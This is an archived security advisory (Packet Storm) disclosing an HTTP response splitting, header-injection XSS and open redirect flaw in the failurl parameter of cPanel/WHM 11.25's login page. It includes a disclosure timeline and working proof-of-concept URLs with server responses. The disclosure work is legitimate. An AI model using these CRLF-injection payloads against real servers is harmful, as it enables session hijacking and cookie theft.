what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cPanel HTTP Response Splitting

cPanel HTTP Response Splitting
Posted Jan 22, 2010
Authored by Trancer

cPanel and WHM versions 11.25 (up to build 42174) allows CR injection that can be leveraged for HTTP response splitting attacks.

tags | exploit, web
SHA-256 | 0b670ad065f6c4108376593723c9a29dc3176ab42c972663cc916ea7c24106a6

cPanel HTTP Response Splitting

Change Mirror Download
Recognize-Security - cPanel HTTP Response Splitting Vulnerability
-----------------------------------------------------------------

Security Advisory by Trancer
January 21 2010
http://www.rec-sec.com
"Hacking, however, is an art, not a science."



Vendor
------
cPanel Inc. - http://www.cpanel.net


Vulnerability Information
-------------------------
Application description:
"cPanel is the industry leader for turning standalone servers into a fully automated point-and-click hosting platform. Tedious tasks are
replaced by web interfaces and API-based calls. cPanel is designed with multiple levels of administration including admin, reseller, end
user, and email-based interfaces. These multiple levels provide security, ease of use, and flexibility for everyone from the server
administrator to the email account user." - cPanel website.

Remotely exploitable: Yes

Localy exploitable: No

Affected versions:
- cPanel 11.25 build 42174
- WHM (WebHost Manager) 11.25 build 42174
* Previous versions may also be affected.


Vulnerability Details
---------------------
An input validation problem exists within cPanel and WHM versions 11.25 (up to build 42174) which allows injecting CR (carriage return - %0D
or \r) and LF (line feed - %0A or \n) characters into the server HTTP response header, resulting in a HTTP Response Splitting[1]
vulnerability.
The vulnerability exists in the failurl parameter of cPanel login page. In a failed login attempt, the value of failurl returns to the
client in the Location HTTP header.
This vulnerability is possible because the application fails to validate user supplied input to failurl parameter, returning it un-sanitized
within the server HTTP response header back to the client. This vulnerability not only gives attackers control of the remaining headers and
body of the server response, but also allows them to create additional responses entirely under their control.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing an attacker to steal
cookie-based authentication credentials, control how the site is rendered to the user, and influence or misrepresent how web content is
served, cached, or interpreted. Other attacks are also possible.
cPanel Inc. patched the HTTP Response Splitting vulnerability in the latest versions (build 42213 up to 42483 – latest version) of cPanel
and WHM, but an Open Redirection[2][3] vulnerability still exist (see Disclosure Timeline).



Proof-of-Concept
----------------
Header Injection ("Set-Cookie"):

http://server.com:2082/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec

Server Response:

HTTP/1.1 307 Moved
Server: cpsrvd/11.25
Connection: close
Content-length: 105
Location:
Set-Cookie: Rec=Sec
Content-type: text/html
<html><head><META HTTP-EQUIV="refresh" CONTENT="0;URL=
Set-Cookie: Rec=Sec"></head><body></body></html>


Cross-Site Scripting:

http://server.com:2082/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!--

Server Response:

HTTP/1.1 307 Moved
Server: cpsrvd/11.25
Connection: close
Content-length: 206
Location:
Content-Type: text/html
<script>alert("Recognize-Security - "+document.cookie);</script><!--
Content-type: text/html
<html><head><META HTTP-EQUIV="refresh" CONTENT="0;URL=
Content-Type: text/html
<script>alert("Recognize-Security - "+document.cookie);</script><!--"></head><body></body></html>


Open Redirection:

http://server.com:2082/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com

Server Response:

HTTP/1.1 307 Moved
Server: cpsrvd/11.25
Connection: close
Content-length: 106
Location: http://www.rec-sec.com
Content-type: text/html
<html><head><META HTTP-EQUIV="refresh" CONTENT="0;URL=http://www.rec-sec.com"></head><body></body></html>




Discovery
---------
Moshe Ben Abu - Trancer
Recognize-Security
mtrancer [AT_nospam] gmail.com
http://www.rec-sec.com


Disclosure Timeline
-------------------
- 16/12/2009 – Recognize-Security notifies cPanel Security Team about an HTTP Response Splitting vulnerability discovered in cPanel and WHM
version 11.25 build 42174, sending security advisory draft.
- 17/12/2009 – cPanel Security Team confirmed HTTP Response Splitting vulnerability, setting the release date of a patched version to
January 1st, 2009.
- 17/12/2009 – Recognize-Security asks for further information regarding the exact version numbers of the vulnerable systems. Got no
response.
- 21/12/2009 – cPanel Inc. release cPanel and WHM version 11.25.0 build 42213, fixing HTTP response splitting vulnerability.
- 22/12/2009 – Recognize-Security request status regarding the vulnerability from cPanel Security Team. Got no response.
- 14/01/2010 – Recognize-Security confirmed the HTTP Response Splitting vulnerability patched on the latest cPanel and WHM versions (build
42483) and find the patch is insufficient, an Open Redirection vulnerability exist. Recognize-Security notifies the cPanel Security Team
about the new findings and asks them to respond. Got no response.
- 21/01/2010 – Recognize-Security release security advisory.


References
----------
[1] “HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics” by Amit Klein,
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[2] "URL Redirector Abuse" - The Web Application Security Consortium Threat Classification v2.0,
http://projects.webappsec.org/URL-Redirector-Abuse
[3] "Open Redirect" – OWASP,
http://www.owasp.org/index.php/Open_redirect


About Recognize-Security
------------------------
Recognize-Security is a non-profit information security web site authored by Moshe Ben Abu (Trancer), focusing on vulnerability research,
exploit development (mainly for the Metasploit Framework), web application security, and information security and hacking news from around
the world.
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close